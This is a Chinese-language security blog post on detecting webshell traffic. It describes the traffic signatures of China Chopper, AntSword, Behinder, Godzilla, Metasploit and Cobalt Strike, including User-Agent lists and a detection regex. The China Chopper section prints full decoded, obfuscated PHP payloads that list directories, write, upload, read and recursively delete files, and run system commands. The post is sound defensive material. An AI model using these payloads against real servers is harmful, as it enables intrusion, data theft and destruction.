网络安全爱好者
Toggle navigation
主页
归档
标签
关于我
Webshell流量分析
2024-05-17 15:15:05
213
admin
## 一、中国菜刀 中国菜刀自诞生以来已经历了多个版本的更新,其功能、隐秘性也随着更新得到很大提升。菜刀现在主流有三个版本在使用,分别为2011版、2014版、2016版,这三个版本中从2011版本到2014版本是功能性上进行了增强,从2014版本到2016版本是在隐秘性上进行了增强,2016版本的菜刀流量加入了混淆,使其链接流量更具有混淆性。 中国菜刀基本支持PHP、JSP、ASP这三种WebShell的连接,这三种语言所对应的流量各有差异。 项目地址:https://github.com/raddyfiy/caidao-official-version ### 1.1流量特征 1. eval,eval函数用于执行传递的攻击payload,有少数时候eval方法会被assert方法替代。 2. (base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测. 3. &z0=QGluaV9zZXQ....,z0是菜刀默认的参数 ### 1.2、解码后的流量 #### 在不留下明显迹象的情况下,获取服务器的一些基本信息 ``` @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(); ``` #### 列目录 ``` cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D='D:\\phpStudy\\PHPTutorial\\WWW\\www\\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();'));\");")); ``` #### 编辑文件 返回包里有文件内容 ``` cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");echo fwrite(fopen('D:\\phpStudy\\PHPTutorial\\WWW\\www\\zzzz.txt','w'),$_POST['z1'])?'1':'0';;echo("X@Y");die();'));\");"));&z1=zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzhello ``` #### 上传文件 请求包里有上传的文件内容 ``` &cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$f='D:\\phpStudy\\PHPTutorial\\WWW\\www\\a.txt';$c=$_POST["z1"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode('%'.substr($c,$i,2));echo(@fwrite(fopen($f,'w'),$buf)?'1':'0');;echo("X@Y");die();'));\");"));&z1=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ``` #### 下载文件 返回包里有文件内容 ``` cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F="D:\\phpStudy\\PHPTutorial\\WWW\\www\\shell.php";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');};echo("X@Y");die();'));\");")); ``` #### 执行系统命令 ``` cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$m=get_magic_quotes_gpc();$p='cmd';$s='cd /d D:\\phpStudy\\PHPTutorial\\WWW\\www\\&ipconfig&echo [S]&cd&echo [E]';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo("X@Y");die();'));\");")); ``` #### 删除文件 ``` cmd=array_map("ass"."ert",array("ev"."Al(\"\\\$xx=\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$F='D:\\phpStudy\\PHPTutorial\\WWW\\www\\zzzz.txt';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");};echo("X@Y");die();'));\");")); ``` ## 二、蚁剑 > 蚁剑是明文传输(即使使用了加密与编码,也会有包传输密码协商过程,该过程也会有明文存在) display_errors字段 ## 三、冰蝎 > 冰蝎2.0 、 3.0、4.0 版本有差异 加密流量 冰蝎2特征: 默认Accept字段的值很特殊,⽽且每个阶段都⼀样冰蝎内置了⼗余种UserAgent ,每次连接 q=.2 shell 会随机选择⼀个进⾏使⽤。但都是⽐较⽼的,r容易被检测到,但是可以在burp中修改ua头。 冰蝎3特征 1.Accept头application/xhtml+xmlapplication/xmlapplication/signed exchange属于弱特征 q=.2 2.ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都⽐较⽼。现实⽣活 中很少有⼈使⽤,所以这个也可以作为waf规则特征 3.jsp抓包特征分析Content-Type: application/octet-stream 这是⼀个强特征 冰蝎4.0,4.1 1.如果密钥没有改变,请求体头部字节与响应题头部字节固定不变 2.referer中的文件名都是随机生成的,但文件名是纯大写或者是纯小写,可作为一个弱特征检测 3.内置了10种user-agent,每次连接shell时会随机选择⼀个进⾏使⽤。 ``` "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0", "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" ``` - 如果密钥没有改变,请求体头部字节与响应题头部字节不会变化 - referer中的文件名都是随机生成的,但文件名是纯大写或者是纯小写,可作为一个弱特征检测 ## 四、哥斯拉 > 哥斯拉客户端与 shell 建连初期的三个固定行为特征,且顺序出现在同一个 TCP 连接中。可以总 结为: 特征:发送一段固定代码(payload),http 响应为空 特征:发送一段固定代码(test),执行结果为固定内容 特征:发送一段固定代码(getBacisInfo) 哥斯拉的流量解密没有密钥是无法做到的 还有一些奇怪的特征 - cookie结尾有 ; - 响应体前16位和后16为会组成一个32位md5 正则匹配类似于(?i:[0-9A-F]{16})[\w+/]{4,}=?=?(?i:[0-9A-F]{16}) 五、metasploit > meterpreter命令执行的过程已经进行了加密处理,继续进行活动,防御者也不会发现有价值的数据, 但可以观察到每个数据都包含MZ标头和DOS模式异常。  ## cobaltstrike - checksum8 下载stage payload的过程uri符合 checksum8 规则,即:路径的 ascii 之和与 256 取余计算值等于 92 - sleep c2服务器如果没有任务下发,会有规律的请求响应间隔,比如这里是3s c2服务器如果有任务下发,则放入 http 心跳请求返回包中 靶机完成任务后,通过 post 方法回传数据
上一篇:
Windows基线
下一篇:
搭建Trojan节点
导航窗格